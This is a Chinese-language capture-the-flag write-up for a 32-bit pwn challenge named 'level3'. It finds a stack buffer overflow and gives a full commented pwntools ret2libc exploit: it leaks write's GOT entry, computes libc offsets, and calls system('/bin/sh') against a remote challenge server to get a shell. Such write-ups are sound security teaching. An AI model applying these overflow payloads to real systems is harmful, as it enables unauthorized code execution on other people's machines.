这道题把附件下载下来发现一个libc(动态链接库),那这道题估计需要利用libc来确定elf中函数的地址
国际惯例checksec,发现level3没开栈溢出保护和地址随机化,libc全开

拖入32位ida,没发现留后门和system函数,只有个write

main里面没啥东西,问题应该出在这个函数里面

果然,buf只能装136,read可以读0x100,200多应该,超出范围,存在栈溢出漏洞

那现在已经有点思路了,利用栈溢出漏洞通过main里的write函数打印出write函数在got表的地址,再与libc库中的write函数地址相减计算出elf中函数和libc中函数之间偏移量(无论地址怎么变化,elf中函数与在libc库中函数的偏移量总是相等的),再通过偏移量计算出内存中的system,/bin/sh的地址,再一次利用栈溢出漏洞即可
可以写脚本了,建议先打通本地后再远程,以后实战也是这样,注释写脚本里面了,有问题丢评论
- from pwn import *
-
- #sh = process('./level3')
- sh = remote('61.147.171.105',58100)
-
- elf_level3 = ELF('./level3')
- elf_libc = ELF('./libc_32.so.6')
-
- plt_write = elf_level3.plt['write'] #level3的plt表地址
- got_write = elf_level3.got['write'] #获取的是指向got表中'write'函数偏移量的指针,而不是函数的实际地址
- addr_main = elf_level3.symbols['main'] #符号表找main函数地址
-
- #利用栈溢出和plt调用write函数,因为还需要使用write函数打印出write函数的got表地址,所以把main函数作为它的返回地址,p(1)是write函数第一个参数,代表写;p32(got_write)第二个参数,代表要打印的字符串;p32(4)一次打印四个字节:因为是32位(32个二进制位),一个字节=8个二进制位,所以4
- payload = b'a'*(0x88+0x4) + p32(plt_write) + p32(addr_main) + p32(1) + p32(got_write) + p32(4)
- sh.sendlineafter("Input:\n",payload)
-
- write_got = u32(sh.recv(4)) #接收暴露出的got表地址并且使用u32解码成整数,这里限定接收四个字节,不然容易出错
-
- #计算level3和libc库中write函数地址的偏移量
- write_offset = write_got - elf_libc.symbols['write']
-
- #level3中system函数真正地址,无论elf是否开启地址随机化,libc库与elf中函数偏移量始终是相等的
- system_level3 = write_offset + elf_libc.symbols['system']
- #level3中/bin/sh默认shell真正地址,因为/bin/sh不是一个函数不能用符号表查找,直接利用Linux下的strings函数结合管道符找到它的地址
- shell_level3 = write_offset + 0x15902b
-
- #再次利用栈溢出返回system函数,随便用0作它的返回地址,再将/bin/sh当做system参数即可getshell
- payload_2 = b'a'*(0x88+0x4) + p32(system_level3) + p32(0) + p32(shell_level3)
-
- sh.sendlineafter("Input:\n",payload_2)
-
- sh.interactive()
-
打通远程
